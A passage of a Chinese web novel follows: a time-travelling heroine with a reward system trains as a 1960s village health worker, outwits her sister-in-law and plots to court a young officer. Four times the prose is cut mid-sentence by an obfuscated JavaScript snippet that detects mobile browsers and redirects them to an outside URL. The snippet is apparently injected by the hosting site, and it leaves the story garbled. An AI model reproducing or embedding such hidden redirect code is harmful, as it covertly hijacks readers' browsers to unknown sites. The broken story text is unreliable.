秦舒颜苦笑,“我一开始以为只是普通学习,结果天天实习,动不动就下乡,十里八村的这段时间我都跑遍了。 乡下环境太差了,晚上回不来,我们都住窝棚,吃得倒还好,但太累太忙了。” “啥?还下乡?” 秦家人都惊呆了,从没听说过学习医护还要跑到乡下去的。 “去给老乡们看病啊?”秦大海瞪大眼睛。 “是的。”秦舒颜想想这三个月的生活就忍不住叹气,真是遭老罪了。 秦有民:“以前没听说啊,而且咱们村怎么没来?” “下乡去的都是很远,完全没有卫生所的地方,咱们这种离镇上很近的都没去。”秦舒颜解释起来,“医护专业是今年才开的,以前没有。” “哦~” 众人明白了。 “我还以为就坐教室学,去医院实习呢,没想到还要下乡。”周芳华好奇地看向秦二江,问:“你呢?也实习?” 秦二江点头,“不过我们都是去厂里,没四宝她们这么苦。” 赵翠花闻言拉着秦舒颜又是一阵“心肝肉儿”“受苦了”。 周芳华又问秦舒颜:“那四宝你都学了些什么?接下来就去工作啦?找好了吗?” “学了挺多的,拿到了优秀毕业证,去镇上的公社联合卫生所,明天就去报到。”秦舒颜回答道。 “正式工还是临时工?”赵翠花也顾不得心疼了,迫不及待地问道。 所有人都眼巴巴地看向秦舒颜。 秦舒颜:“应该是不正式的。” 赵美玲顿时爽了,脸上表情好看很多。 “什么叫应该啊,仔细说说!”赵翠花急了。 秦舒颜只好解释:“我还没有全国范围内通用的医师证书,只是普通卫生员,或者说赤脚大夫。 粮食关系也还在队里,由公社发,以后拿公分跟务工补贴。” 这种情况,执业范围就被定死在基层了,往上爬最多最多也就走到县里医院,想转为吃国家饭正式工,必须得继续学习,去专业医疗培训班。 赵美玲一下就听出来是什么情况了,顿时意味不明地开口:“粮食关系还在生产队,不是吃国家饭的。” 果然算不得正式!哈哈~ 秦家其他人有些失望,但又觉得没什么。 毕竟正式工作不是这么容易就能有的,能这么简单被拿到他们才会奇怪。 要不然大家都去上夜校了,出来就能正式工。 “那三爷爷家的为啥出来就是正式工?”一直没出声的秦三河突然开口。 “这我知道。”秦二江发出一声感叹,“我打听过了,他对这方面有天赋,天生就是做这一行的,属于天赋异禀,被特招了。 一般人也不是那么容易正式的,不过我找门路拜了个师父学开拖拉机。” 众人又惊又喜,顿时兴奋起来。 “那你可好好学,学好了也能正式。” “八大员的卫生员,驾驶员咱家都有了!哈哈~”周芳华笑得合不拢嘴,那叫一个开心。 赵美玲很想说一句“又不是端铁饭碗的”,但是没敢开口,她怕被大家骂。 于是只能在心里不屑地冷笑,贬低嘲笑秦舒颜白费这么大劲。 众人喜过后,赵翠花又看向秦三河,“你想好学什么了吗?” 秦三河点头,“我也想学机械。” 秦舒颜不意外,主要也没个什么好学的,有前景的也就机械了。 “正好跟二江也有个照应。”秦有民点头。 去倒水喝的秦二江开口:“嗐,照应不了,我拜师了就去县里的农业站了,跟师傅边干边学,最快得半年呢,不在夜校了。” “啥!”赵翠花又喜又气,过去给秦二江一锤,“你都安顿好了?这么重要的事情怎么不早说!” 秦二江龇牙咧嘴,做出一副被锤得受不了的模样,“这不是让你们高兴两轮吗?” 赵翠花翻了个白眼,又忍不住开心地笑了。 孩子们出息了,这都是大好事啊。 “好好好,等你学出来,你媳妇儿也差不多生了,那更是双喜临门了。”李翠翠也是笑得双眼弯弯。 家里人有出息,其他人也能沾光。 赵美玲见不得其他几房比自家好,心里有些不开心,但想想秦三河也要去学了,倒是缓解了不少。 她男人肯定比秦二江跟秦舒颜厉害。 赵美玲沉默地看着喜气洋洋的秦家众人,半晌后突然冒出来一句话。 “我也想去学。” 众人愣住了。 秦舒颜眼睛微眯,心想可算来了,就知道她老实不了多久。 “你学什么啊?”赵翠花不乐意,“三河去学行了,你好好在家里伺候他,早点生个娃才是最要紧的。” 赵美玲也想早点生孩子,毕竟只有生了男娃才算在秦家彻底站稳。 可看着他们一个个有了好前程,她忍不住地心动。 要是自己也有个工作,那生活岂不是会更好? “夜校又不要钱,就让我去学学呗,万一也能找到个工作,三河以后就轻松了。”赵美玲笑呵呵地说道。 “学费是不要钱,但吃喝拉撒呢?去县里住哪里不要钱,几个月下来那也是一大笔钱呢!”赵翠花翻了个白眼,“你消停些。” 真是的,怎么在家不学?跑她们秦家来占便宜了? “三河不是要去学嘛,我正好跟他一起,两个人一趟也是省事了。”赵美玲不死心,越说越心动。 “账是这么算的吗?多你一个不就多一张嘴吃饭?本来三河随便找个地方住就行,带上你可不得租个房子。”赵翠花脸直接拉下来了。 “一天天的,能不能消停的!嫁人了就本本分分伺候自己当家的,光想着往出跑是要干什么?” 赵美玲不乐意了,明明花不了多少钱,为什么不叫自己去? 不就是不乐意给她花一点钱吗! 赵美玲脸上也没了笑,颇为强硬道:“那舒颜不也抛头露面的学了吗。” 赵翠花眼睛一瞪,声调立刻拔高了,“反了天了你!才嫁进来几天啊就不老实了?谁家媳妇光想着往外面野啊? 还扯上四宝,四宝还小,她本来就是学生,学点本事应该的! 你都嫁人了,能跟她一样吗?她找工作是为了找个好人家,你还要吗?怎么,嫌弃三河养不起你啊?” 赵翠花冷笑一声看向秦三河,“你媳妇嫌弃你没本事,想自己挣钱粮呢!” 秦三河脸色也难看起来,但凡一个男人被人嫌弃没本事,都会不开心。 赵美玲见他脸色不好,立刻解释起来,“我没有,我这不想着免费的,学个本事更好吗,要是真找到工作了,咱家就两份工作,生活会更好。” 还没等秦三河说话,秦舒颜就立刻挑刺,“什么两份工作,咱家的,大家都是一家人,嫂子你太自私了,满脑子都是自己。” 赵翠花顿时拍了桌子,“我跟你爹还没死呢!你这是要分家吗?” 秦有民板着脸,完全无视了赵美玲,只对自己儿子冷脸警告,“你管好你婆娘!” 秦三河点头,面色黑沉,气势有些吓人,看得赵美玲心慌。 她还是第一次见秦三河生气。 “你们都是我跟你妈养大的,我们没死你们就别想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203400|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着分家,一家子把劲儿往一处使才能过好日子,那些有的没的小心思都给我收了!” 秦有民等闲不吭声,家里大大小小的事情都是赵翠花说了算,可真遇到大事都是他拍板决定的。 他严父的形象深入秦家海江河心里,他们三个都很敬重害怕这个父亲的,这会儿听他这么说,三人都连忙开口保证起来。 秦舒颜饶有兴味地看着,乐得见赵美玲吃瘪。 “能去夜校上学,那是四宝找到的门路,要不然你们能知道夜校免费上?你们算起来也是沾了她的光。”秦有民抬手用烟斗敲了敲桌子。 “都给老子记着四宝的好!” 秦大海:“那三年,要不是四宝带回来粮食给翠翠,这个小的有没有还不一定呢。 我这辈子都记着四宝的好!” “我这师父也是多亏了四宝,我要是没钱夜校,这辈子也就这样了。”秦二江也表态。 “当初饥荒大雪封山,要不是四宝找来了退烧药,我还不一定能站在这里,我的命是四宝救的。”秦三河难得一次性说这么多话。 “我会好好说美玲的。” 赵美玲瞪大眼睛,不知道居然还有这事。 她心里懊恼不已,有救命之恩,那他的心肯定偏向秦舒颜啊!那她还怎么跟她打擂台?以后怕是都说不得她坏话了。 毕竟知道了这事,就算要装,也要装得面子上过得去,要不然秦三河真的会生气。 赵美玲那叫一个气啊,只觉得怎么都不顺。 对于秦三河的表态,赵翠花跟秦有民还算满意,但秦舒颜就不一样。 她脸上挂着笑,心里却是不屑得很,原剧情里也有救命之恩啊,也没见他对原身多好,主打一个不关心。 后面更是赵美玲吹枕头风吹得他偏了心,哪里还记得有救命之恩的亲妹。 这辈子说得好听,还不是因为自己搞来了夜校的门路,让他有利可图吗。 人心善变,秦舒颜太清楚了。 不过她在乎这些,这辈子换作是她在生活,不可能跟原剧情一样了,她只在乎自己的任务。 用秦三河压制赵美玲,是个不错的主意。 人的关系,向来是一个强,另一个就弱,秦三河强势起来,赵美玲就弱势了。 还想发家致富?门都没有!国营饭店都别想去! 赵翠花还在骂骂咧咧,秦舒颜就不想听了,说累了后就转身回屋。 赵美玲跟秦三河回房,也是被他冷脸狠狠说了一顿。 嫁过来就沉浸在秦三河温柔对待的赵美玲委屈得不行,抹着眼泪直叫屈,“我真没那么多想法,就是想如果咱俩都有工作了,生活会更好! 我也是为了你!” “你老老实实在家就行,养家是我的事情。”秦三河皱眉。 赵翠花的话真戳到他那颗大男子主义的心里了。 原剧情里赵美玲先去了国营饭店,说话有底气,有温柔小意地对秦三河,他倒是还能接受。 到了改开,他已经被赵美玲调教出来了,自然没那么多意见。 现在可不一样,他还是一块原石。 秦舒颜的蝴蝶翅膀一扇,未来就完全不同了。 听到秦三河这话,赵美玲也是暂时熄了心思,只想着把他哄好再说。 这可是一个好机会,要是错过,她再想起夜校就更难了。 赵美玲眼睛一转,刚准备故作姿态哄人,结果就听见秦三河又开口了。 “还有,以后别总扯着四宝,你跟她有什么好比的?她是家里的宝,跟你不一样。” 赵美玲傻眼了,又气又伤心,“我们怎么不一样了?她是宝,我就不是你的宝吗?” 秦三河嘴笨,想解释四宝在秦家的地位,但有些事情也不是能明说的,对四宝不好,于是他只能丢下一句:“反正是不一样的,你不要跟她比,比不过的。” 赵美玲却以为是在他心里,自己比不过秦舒颜,顿时伤心不已,眼泪又开始哗啦啦地流。 这一次,是真哭了。 10. 10 秦舒颜洗漱完出去倒水,听见赵美玲嘤嘤嘤的哭声后脚步顿时一停,侧耳凝神仔细听了半天,确定是真的伤心哭泣后,一下子乐不可支。 好好好,哭吧~别停,她爱听。 秦舒颜一脸笑意地回屋了,心想秦三河哄人过来过去就是“别哭了”这三个字。 不过嘴笨可太好了,能让赵美玲多哭一会儿。 秦舒颜一觉睡得香甜,睡起来只觉得神清气爽。 果然还是睡到自然醒最棒。 不过生物钟已经被调理好了,就算睡到自然醒,也不到八点。 秦舒颜坐在床上发了一会儿懵,清醒后出来洗漱吃饭,随后就在赵翠花的催促与叮嘱下,拿上东西离开了家。 她得去镇上的公社联合卫生所报到。 原身都没去过卫生所,记忆中生病就是村里的爷爷搞点草药来。 秦家其他人好像也没怎么去过,大家生病不是硬熬,就是抓草药喝。 除非受伤严重才往镇上、县里送,不过这种情况也很少很少。 这个年代,大家连病都看不起。 秦舒颜叹息一声,打开系统看了一眼存货。 这段时间虽然忙,但是她也没少薅系统羊毛,它判定的极品行为太容易操作了,说谎都算。 善意和无伤大雅的谎言,秦舒颜张口就来,积少成多积攒了不少东西。 她甚至都抽出了没有包装的卫生巾,花香香皂和牙膏之类的生活用品,不过除了卫生巾,其他日用品她都没用。 下乡没法整那些花里胡哨的,老老实实地从众随大流才是王道。 粮食、罐头、票她就更多了,罐头都是后世那种好罐头,她偷偷尝过一个,味道绝了。 不管是水果的还是肉的,拿来送礼绝对有面子。 秦舒颜清点着自己的囤货,心想第一个世界抽到这个系统可太好了,要不然物资极度匮乏的60年代,她真的是适应不了啊。 不管走到哪里,都是非常艰苦的环境,说是民国时期秦舒颜都相信,一点现代科技都没有。 镇上都没通电,县里也就厂子上才通电,当初夜校上晚课,大家都是点煤油灯,一个个被熏得脸黢黑。 太难了。 秦舒颜祈祷之后不要给她60年代了,哪怕70年代都好啊,60年代的小乡村小县城,那日子真是谁过谁知道。 等到了镇上,秦舒颜照例先去国营饭店美美吃了一顿。 吃饱喝足后,这才挎着包去了卫生所。 卫生所就在街边,只是一间平房。 秦舒颜忍不住看了几遍门口挂着的木牌子,确定没找错地方后才进去。 房子四十来平的样子,有一个中药红木柜,上面贴着很多标签,不过都泛黄磨损了,看不清字。 再就是一张桌子几把椅子,还有一张小床,环境那叫一个简陋。 屋里没人,秦舒颜探头看了一下也没见着后门和休息室,转身准备出去问问。 结果刚走到门口,就有一个中年妇女迎面而来,她面无表情,语速极快:“抓药还是?怎么不舒服?” 秦舒颜拿出介绍信跟证书来,“我来报到的。” 对方脸上一下柔和起来,接过她手上的几张单子,“就是你啊。” 对方仔细看过后,见上面学了医疗卫生、接生、护理等好几个专业,还有丰富的下乡诊断经验,以及全科皆优的评语,表情就变得更和蔼了。 “秦舒颜,小秦是吧,学得不错,国家就需要你这样的人才。” “我叫张焕梅,叫我梅姨就行,咱卫生所就我一个人,你来了可是解了我燃眉之急。” 秦舒颜甜甜地叫了一声“梅姨”,心里却在震惊卫生所就一个人。 “这不是公社联合卫生所吗,怎么就您一个人啊?” “之前还有一个老中医,不过年纪大了走不动了,退休了。” 张焕梅坐在柜台后面,低头写秦舒颜入职表,干脆利落地掏出章子啪啪啪就是一顿盖,一顿操作行如流水,可见平时是个极为利索的人。 “平时卫生所很清闲,没什么事,来看病的人不多。 来了也就是发烧,外伤,前者抓点药,后者清理包扎一下就行。 太严重的需要缝针,你就给处理一下,消毒的,针线都在这里。” 张焕梅把入职表给了秦舒颜一份,剩下的都收起来放进了柜台抽屉里,然后起身带着秦舒颜熟悉环境。 所有的东西都在柜台后面的红木药柜中,不过里面大多是空的,仅存的药也就是退烧药、消炎药、甘草片、拉肚子药等常见的药物。 每种就一两瓶,数量肉眼可见的少。 草药倒是有一些,但是也不多。 医疗器械就更不要提了,除了缝针的东西和听诊器外,再无其他。 甚至连个吊瓶跟针头都没有。 见秦舒颜目瞪口呆,张焕梅笑了笑,“咱们这里就是处理基础伤情病理的,没那么多东西,根本申请不下来。 除非有正儿八经的医生来,才能申请吊瓶药水之类的,咱们没资格开药。” 秦舒颜点头,心里一动,问道:“您是中医吗?” 张焕梅应了一声,“我跟之前的老中医学了十来年,也算入门了,不过中医考证更难,我这辈子就这样了。” 张焕梅似乎看开了,也没什么更进一步的心,脸上笑意盈盈的。 也是,对于普通人来说,有个工作能干一辈子真的挺好的。 中医啊,可以学学! 要不然这也太无聊了,纯浪费时间。 不过她才来,不好直接说这事,等等再做打算。 这一天,秦舒颜就在跟张焕梅闲聊之间过去了。 整整一天,一个病人都没来。 因为几分钱几毛钱的药对大家来说,也是一笔不小的钱,他们舍不得。 这让秦舒颜有些难受,工作轻松非常美妙,但原因却令人心酸。 可她除了接受外也没有其他办法,面对大时代的浪涛,她一个人根本无法抵抗,能不被淹死就算好的了。 第二天,倒是有人来开药,秦舒颜问清楚是拉肚子就,给他拿药,才包好后就听见系统响了。 【无证行医,符合极品人设,奖励蒙脱石散一包。】 秦舒颜:“……” 什么玩意儿?这也能刷极品奖励? 不过只能无证行医,她不是有证吗?怎么?这个系统是按现代医疗来算的啊? 那她岂不是能刷很多奖励了? 秦舒颜一下来了精神,想要正儿八经的医师证,最快也得个两年吧。 那每次都是无证行医,这能刷多少东西出来?发财了呀! 经过实验,秦舒颜发现无证行医大部分给的都是正常物资,小部分给的现代药品。 给药还特别抠搜,冲剂一小包一小包地给,普通药品也是一颗一颗的来。 所幸这些都是白得的,数量少秦舒颜也不嫌弃,积少成多嘛。 上班的日子步入正轨,平淡又乏味。 镇上说远不远,说近不近,早出晚归也挺累人。 尤其晚上下班,秦家男人们每天轮着来接秦舒颜,怕她走到一半天黑了遇到事情。 又一周后,秦舒颜跟张焕梅彻底混熟了,砸肉、水果罐头和一张自行车票,成功拜师,以及获取了卫生所居住名额。 “你每天来来回回太麻烦了,晚上也不安全,以后干脆住卫生所算了,那张床虽然小,但也够你住了。” “卫生所有炉子跟烟囱,冬天也不冷,不过多余的煤要你自己寻摸。” 秦舒颜一口应下,果断就搬家了。 有独居的地方,她终于可以光明正大地吃喝了。 住到卫生所后,秦舒颜就开始了漫长的背药名药材信息之路。 张焕梅给了一本特别厚的羊皮外壳的书,还是繁体字竖行的,秦舒颜背的很痛苦。 到了过年的时候,她才背了一大半。 秦舒颜嫌弃自己进度慢,张焕梅却是夸她聪明,这进度已经够快了,她当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203401|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初背用了一年多呢,秦舒颜这才几个月就背得只剩下一点了。 要知道这种背,不是普通记下来就行,而是记得滚瓜烂熟,深深刻在心中,不管张焕梅从什么角度提问都能答上来,都对才算背下。 秦舒颜每天眼睛一睁就是背,眼睛一闭梦里也在记,比上辈子高三还刻苦。 背这些真的很枯燥,秦舒颜也很烦。 可是想想之后的世界都在年代文里,她又咬牙坚持了。 谁知道后面会给她干到哪里去,再来一个山沟沟,她好歹也有一技之长,再怎么不会把自己病死,还能混口饭吃。 为了以后的美好生活,秦舒颜只能努力。 苦一时,总比苦几辈子好。 过年期间,秦舒颜放假了,她足足有十天的假期。 因为她住在卫生所,本身水平又不差,再加上病人不多,她完全能处理,张焕梅轻松了很多,每天来露个面,或者教教她就走了。 过年了,就由镇上住的张焕梅值班,给她放了个长假。 秦舒颜回来也没闲着,完全就是换了个地方继续背。 没办法,药名特性背完了,还有药方、穴位等着,要背的太多了。 这好不容易遇到个中医,不好好学学简直是浪费她自行车票。 张焕梅跟老中医学了近二十年,早出师了,她嘴上说着入门,其实是人家真传弟子,一把脉啥都清楚了,可叫秦舒颜惊叹了好半天。 秦舒颜甚至想把中医学得差不多了,然后再去县里算了,反正她又不急着嫁人,学本事才是正事。 不过计划赶不上变化嘛,秦舒颜也就这么先计划着,顺其自然。 过年秦舒颜没给家里拿太多物资,就拿了一些水果罐头,因为秦三河打猎弄回来不少肉,足够大家吃了。 秦二江还在学拖拉机,秦三河却是已经学成回来了,他对机械还真有点天赋,实习的时候就改良了工具,一下子被县里的农机修造厂要过去了。 初三就正式去县里上班,当正式工人了。 赵美玲是抖起来了,过年期间说话都大声起来。 不过秦舒颜回来她就张扬不起来了,毕竟秦三河能去夜校也是因为她。 让赵美玲给她赔笑脸说好话是不可能的,顶多不阴阳怪气。 她老实了,秦家氛围就很好了,热热闹闹地过了一个年。 秦家突然出了个正式工,秦二江还在学拖拉机,眼瞅着未来可期,再加上秦舒颜变成镇上卫生员,秦家在村里地位那是噌噌往上涨。 赵翠花出去那可太有面了,走哪里都是被捧着,被羡慕的。 还有给秦舒颜介绍对象的,更是多到让赵翠花挑花了眼。 赵翠花挑归挑,但心里一点没想着让秦舒颜就这么结婚,最近她的上进她都看在眼里。 孩子要出息,她干嘛拖后腿,反正也小,再等等吧。 再说了,她自己也能找个好人家,用不着自己操心。 赵翠花自己挑,完全就是过过瘾,顺带查缺补漏,看看会不会错过好人家而已。 一晃又是几个月过去,秦二江也学成了,摇身一变成了拖拉机手,在镇上那叫一个风光。 农忙的时候,秦二江直接开着拖拉机回来,先把自家生产队的地全收割了,赢得一片赞叹。 秦舒颜也是开始学把脉和针灸,学医术之路终于步入正轨。 秦家威望越来越盛,日子越来越好,赵美玲又不老实了,想进城跟秦三河一起住,不想再分居。 不过这事不是那么容易的,秦三河分不到房,自己挤在宿舍和别人一起住,哪里能带赵美玲过去。 赵美玲却怂恿他,搞个单人宿舍,这样她就可以过去了。 秦三河是有些心动,毕竟一个月才能回来几趟,在厂里什么都得自己干,当然还是有老婆更好。 就在他努力发明改良机器的时候,赵美玲怀孕了。 这下赵美玲的进城之路又泡汤了。 秦舒颜听周芳华八卦这事时,笑得那叫一个大声。 11. 11 赵美玲很气恼,但有了孩子总归是好事,她开始盼望着这胎是男娃。 秦大海家男女都有了,周芳华也生下一个男孩,她要是这胎是女孩,那真没人家有底气。 赵翠花倒是无所谓,生男生女都是她的孙孙,女孩更好,她更愿意要像秦舒颜的孙女。 赵美玲听到这话,表情顿时变了。 像秦舒颜? 那她会怄死! 赵美玲开始每天在屋里拜满天神佛,没香没供品那种,硬拜。 倒不是舍不得钱,而是建国后就不让搞封建、迷信,她不敢乱来,只能嘴上拜拜。 秦舒颜没关注她,她正忙着学中医呢,最近她真是对把脉上瘾,学得不亦乐乎,逮着人就摸脉。 能实践可比光背有意思多了,学起来都没有那么枯燥了。 今年暑假县里也有培训班,不过县医院倒是有,但秦舒颜想去的煤厂没有,她就干脆没去,打算明年再说。 县里煤厂是最大的厂,工人有好几百,自带家属院跟医院,那里医疗比县医院还好很多,是进修的最好去处。 不过他们是隔年才办,时间并不固定。 没办法,煤厂有钱,说话硬气,人家不年年办培训班,你也没招儿,只能等着。 所幸秦舒颜也不急,等就是了。 时间转瞬即逝,快得吓人,一个恍惚间,就已经来到了1965年。 秦舒颜的中医已经入门,能给人看病了,西医也经过专业培训班后更进一筹。 煤厂呼吸病多,她也是内外双修,成了个半吊子大夫。 专业医师证还是没有,但看病开药她却是可以的,走的还是中西结合的路子。 当然,她也就是给人看看小病,大病她也不敢看。 培训班结束后,煤厂的人想留下秦舒颜,给了正式工的待遇。 秦舒颜像是一块海绵一样,疯狂汲取知识,不怕苦累埋头苦干,一点也没有外表的娇气。 聪明,能干,漂亮,年轻,这种好苗子,煤厂的人当然不想错过。 要知道就算秦舒颜不冒头,煤厂也有很多人看上她,天天跑来献殷勤。 能招来一枝花,解决个工人的婚姻问题,也是好事一件嘛。 煤厂有钱,待遇极好,秦舒颜思考过后就同意留下了。 不过对于结婚对象,她还是很挑剔的,她答应领导会考虑考察合适对象,也是开始行动了。 但摸了一圈也没找到合适的人,她看不上这些天天在煤堆里打滚的糙汉们。 秦舒颜也快20了,催婚的多了起来,她自己也上心了。 67年马上来了,她还是早点定下来比较好,万一到时候再来个强取豪夺她,那她真的会哭死。 她这张如花的脸,是真会被强取豪夺的。 厂里的人不考虑,那就在外面找。 秦舒颜终于不宅了,走出来开始社交,周末就跟新认识的姐妹们去玩,试图寻找合适的结婚对象。 真要寻个合适的对象吧,还不是那么容易的,一时半会还不好找。 秦舒颜不急别人急,给她接受对象的人能把她宿舍门槛踏破,老家赵翠花那里也是一样。 赵翠花跟秦舒颜如出一辙的挑剔,总觉得谁也配不上她女儿,被很多人暗地里骂眼睛长在头顶上。 老秦家发家了,眼红的人不少,但村里农忙、看病都能占到便宜,酸话也传不到明面上。 转眼又是半年过去,1966来临,秦舒颜这会儿终于有点急切的感觉了,想着今年一定得把婚给结了才行。 春暖花开,秦舒颜换上浅蓝色的长裙,戴着同色发箍,披散着头发出门逛街,回头率直接百分之两百,不管男女都会忍不住看向她。 秦舒颜把自己养得很好,这会是彻底长开了,五官精致漂亮,肌肤白皙,头发乌黑,浑身充满了书香气,给人一种温柔似水的感觉。 追她的人能从煤厂排出县里外去,可惜她谁也看不上,眼光极高。 有人不屑,有人觉得这是应该的。 秦舒颜从不在乎这些流言蜚语,只是过自己的生活。 真要是在乎流言蜚语,那她活不下去了,会被气死的。 秦舒颜性格爽快大方,在煤厂交了很多朋友,总是有不同的女孩子跟她一起玩。 秦舒颜自己有本事,还会打扮,会做饭,会做很多糕点,说话也好听,没有人会不喜欢她,每周都有很多人约她一起玩,今天也是一样。 她受约去游湖,才走到街上,就看见一辆军用吉普车停在武装部。 秦舒颜脚步一顿,不动声色地站在了房檐阴处,默默观察起情况来。 汽车啊,真是自从来了这个世界就没见过几次,这突然来了个军用吉普,她当然好奇。 这年头能开车的可都不是一般人。 没等多久,武装部里出来了两个人,领头的秦舒颜认识,是武装部的人,正跟旁边的人有说有笑的。 那人年纪不大,看着也就二十五六的样子,穿着军装身形挺拔,长相…… 秦舒颜看似无意但余光努力看,终于看到了他的正脸,是这个时代标准的帅脸。 正茂老师那种类型的。 秦舒颜越发心动了,不知道他有没有结婚。 眼见着他上车了,秦舒颜也不管三七二十一了,躲在墙角后面找准机会出去,像是被过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203402|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的车吓到一样,猛地后退也不,没站稳跌倒在地。 当然,跌倒的姿势是有技巧的,动作不狼狈,裙摆还随风飘起,坐在地上后也在凹姿势。 车内的人看见秦舒颜跌倒了,立刻停下车开门出来,“同志,你没事吧?” 秦舒颜闻言抬头,用的是上辈子短视频上刷到的技巧,先微微抬头,眼神动,然后才是头完全抬起。 她一双潋滟如水的星眸,就这么直直撞上了对方的视线。 看见对方明显一愣,秦舒颜才不好意思地笑了笑,自己站了起来。 “没事,是我没站稳,没什么大问题。” 秦舒颜看对方明显被惊艳的眼神,就收起了多余的动作,只是低头拍灰,完全不看他。 “同志,你真没问题吗?要不要我带你去检查一下,身体安全还是小心为妙。” 秦舒颜闻言笑得双眼弯弯,抬头看向对方,“真的不用了,我就是医生。” 对方微怔,随后跟她一起笑起来,“这样啊,那就好,没事就好。” 秦舒颜也不跟他多聊,毕竟这个时代男女之间还是挺夸张的,单独两个人说话容易被说嘴。 “那个,我叫陈建林,刚转业回来的军人。” “我叫秦舒颜,很高兴认识你。” 见街上有人望这里看,秦舒颜就提出告辞,“我还有事,就先走了,再见。” 秦舒颜礼貌地对他笑了笑,随后潇洒离去。 秦舒颜走过,陈建林闻到了一股淡淡的茉莉香,他愣愣地看着秦舒颜的背影,一直到她看不见才猛然回神。 “哈,小林,动凡心了?” 看了个全程的武装部的姨父走过来指着他哈哈笑,陈建林耳朵一红,有些不好意思。 “姨父,你就别打趣我了,你认识她吗?” 李儒邦哈哈大笑,“我上哪里认识人家小姑娘去,不过你既然心动,那我就帮你打听打听。” “好,麻烦姨父了。”陈建林咧嘴一笑,忍不住又看向秦舒颜离开的方向。 他第一次对女同志有异样的感觉,这就是心动吗? 陈建林不敢相信自己居然还有一见钟情的一天。 一见钟情? 呵,不过是见色起意罢了! 秦舒颜抬手将耳边的发丝别在耳后,他见色起意,自己为了他的权势,很公平。 转业回来的军人,在县里武装部报到,那跑不了了,以后慢慢打听就是。 而且看他呆头呆脑的样子,说不定不用自己打听,对方自己会主动送上门来呢。 秦舒颜脸上笑意越发明显。 现在就祈祷他没结婚,不是寡夫不带娃了。 12. 12 可能是运气到了,第二天秦舒颜上班,去食堂打饭的时候就听到有人八卦,说厂里空降了个副厂长,是转业回来的军人。 秦舒颜眼睛不由自主地瞪大,“真的假的?” 这么巧吗? 见秦舒颜好奇,对方说得更仔细了。 “真的!已经露面了,很多人见过了,很年轻,看着才二十五六岁!听说之前是营长呢!” “受伤啦?要不然这么年轻的营长,前途无量啊。”旁边的人也插话进来。 “是啊,不能高强度训练了,只能专业了。” “那还行,不影响生活。” 秦舒颜也松了口气,问题不大。 “听说长得特别帅,也不知道是不是真的。” “又发花痴!”有人笑骂了一句,又好奇地问:“还没结婚吗?条件听着很不错的样子。” “不知道啊,他才来,消息还没传出来呢,等我回头好好打听打听。” “加油哦,百晓生~”秦舒颜冲她眨眨眼,“我对他很感兴趣,就麻烦你给打听打听了!” 一桌人面面相觑,然后顿时兴奋起来。 “别说,你还真别说!” “诶呦呦副厂长诶,不愧是你啊舒颜,一出手就是副厂长!” “人往高处走嘛~”秦舒颜一点也不遮掩,坦坦荡荡表态。 附近坐着的都是她的好朋友,都已经结婚了,也深知她的性格,一时间都嘻嘻哈哈起来,饭也顾不得吃了。 这一桌莺莺燕燕嬉闹,笑靥如花的,可是吸引了不少人的视线。 陈建林走进食堂,也是第一时间被那边的动静给吸引过去。 当他看清坐者的熟悉面孔后,巨大惊喜涌上心头。 居然这么巧吗! 陈建林抬脚后又改道,跟着厂子的高层们一起去小食堂打饭。 等忙完这入职的这一摊子,下班后他才着急忙慌地开始打听秦舒颜的消息。 所幸秦舒颜在煤厂名气足够大,陈建林一说对方就知道。 “她啊,煤厂大名鼎鼎的一枝花,人美心善,业务能力强又好学,做饭制衣也是一把好手,追她的人简直不要太多,但她一个都没答应。” “你小子有想法?哈哈,可以试试哦! 她心气高,但你也不差嘛!” 陈建林坚定道:“当然要试试,等过几天稳定后,我就去约她见面。” 对方竖起大拇指,送上了祝福。 一周后,秦舒颜上班期间,陈建林过来了。 秦舒颜惊讶地看向他,没想到他这个时候回来,她笑着招呼她坐下,道:“是你啊,没想到你就是新来的副厂长。” 陈建林看着秦舒颜突然就有些紧张,在凳子上坐得板板正正,耳朵尖发红。 秦舒颜眼里闪过一抹笑意,故意问:“你哪里不舒服?” “嗯,那个,我肠胃不舒服,你给我拿点消食的药就行。”陈建林看着去找药的秦舒颜,深呼吸一下,果断开口。 “我听说你在找对象,所以来自荐。” 秦舒颜看向陈建林,这回是真的讶然,没想到他这么直接的。 别秦舒颜看着,陈建林更紧张了,不过嘴上倒是说得流畅。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 